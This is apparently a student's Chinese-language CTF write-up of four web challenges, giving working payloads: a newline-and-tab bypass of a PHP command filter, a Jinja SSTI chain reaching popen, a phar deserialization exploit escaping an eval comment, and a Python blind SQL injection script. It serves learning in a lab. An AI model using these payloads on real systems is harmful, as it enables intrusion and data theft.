。。。这周属实给我整不会了。。。。。。。。。。说好的更简单的,misc一题没看懂。。。。就搞几题web,搞了一天多,之后剩下的不会了,去学习其他东西了,不过还是学习到不少东西
web
So Baby RCE
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
过滤的东西还是十分的多的,我一直想着构造/,给我整麻了,结果忘了它没过滤%0a属实是草率了。。。
因为%0a相当于; 在linux就是命令分隔符,我们可以构造语句,来到根目录就行,因为过滤fl这个的话就用未赋值的变量就行,列如:$1 没赋值的变量相当于空
pwd
//得到自己所在目录/var/www/html
%0acd%09..%0acd%09..%0acd%09..%0als
//得到bin boot dev etc ffffllllaaaaggggg home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var 这个ffffllllaaaaggggg肯定是我们的目标了
%0acd%09..%0acd%09..%0acd%09..%0asort%09ffff$1llllaaaaggggg
//得到flag
BabySSTI_Two
详细一点可以看我的BabySSTI_One
这个我感觉比上面那个rce简单多了。。。。和BabySSTI_One没啥大区别感觉
只多过滤了一些命令还有双引号
所以我们用[]
{{[]['__cl''ass__']['__ba''se__']['__subc''lasses__']()}}
先看看危险函数在那里
还是在117
{{[]['__cl''ass__']['__ba''se__']['__subc''lasses__']()[117]['__in''it__']['__glo''bals__']['po''pen']('ls').read()}}
但是想进行下一步操作,突然发现他对这个命令执行,有好多过滤,但是ssti可以有编码绕过
{{[]['__cl''ass__']['__ba''se__']['__subc''lasses__']()[117]['__in''it__']['__glo''bals__']['po''pen']('\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064').read()}}
UnserializeThree
题目介绍的就挺明白了吧,文件上传和反序列化,这不就是phar吗。
就只有上传文件的地方吗,先看看哪里有,要反序列化的东西,看看源代码 =_=
找到提示了,看看class.php得到
<?php
highlight_file(__FILE__);
class Evil{
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval("#".$this->cmd);
}else{
echo "No!";
}
}
}
file_exists($_GET['file']);
这里我们分析,上传的文件通过file读取,要绕过#,进行命令执行
这里这样使用
<?php
class Evil
{
public $cmd="\rsystem('ls /');";
}
$a = new Evil();
$phar = new Phar("test.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a);
$phar -> addFromString("test.txt", "test");
$phar -> stopBuffering();
因为要绕过单行注释#,但是因为\n被过滤了,这里我们使用\r
你这个运行以后就会多出来一个test.phar文件
上传test.phar之前,直接把后缀改成gif,因为他上传还有过滤,而且后缀不会产生什么影响的
这里我们使用phar://协议
接下来更改一下上面的PHP文件就行了,cat /flag就行了
又一个SQL
经过尝试没有任何回显,过滤的东西也很少,在使劲使劲,发现是盲注
这里有脚本给大家
import requests
import time
s = requests.Session()
url = 'http://fdb4abae-cc0f-46bb-a8e3-eafaa4781466.node4.buuoj.cn:81/comments.php'
flag = ''
i = 0
d = 0
while d == 0:
i = i + 1
low = 32
high = 128
while low < high:
l = (low + high) // 2
# payload = f"1^(ascii(substr((select(database())),{i},1))>{l})"
# payload = f"1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{l})+'0"
# payload = f"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{l})"
# payload = f"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments')),{i},1))>{l})"
payload = f"1^(ascii(substr((select(text)from(wfy_comments)where(user='f1ag_is_here')),{i},1))>{l})"
da = {
"name": payload
}
r = s.post(url=url, data=da)
r.encoding = "utf-8"
print(payload)
if '耶' in r.text:
high = l
else:
low = l + 1
time.sleep(0.2)
if low != 32:
flag += chr(low)
print(flag)
else:
break
print(flag)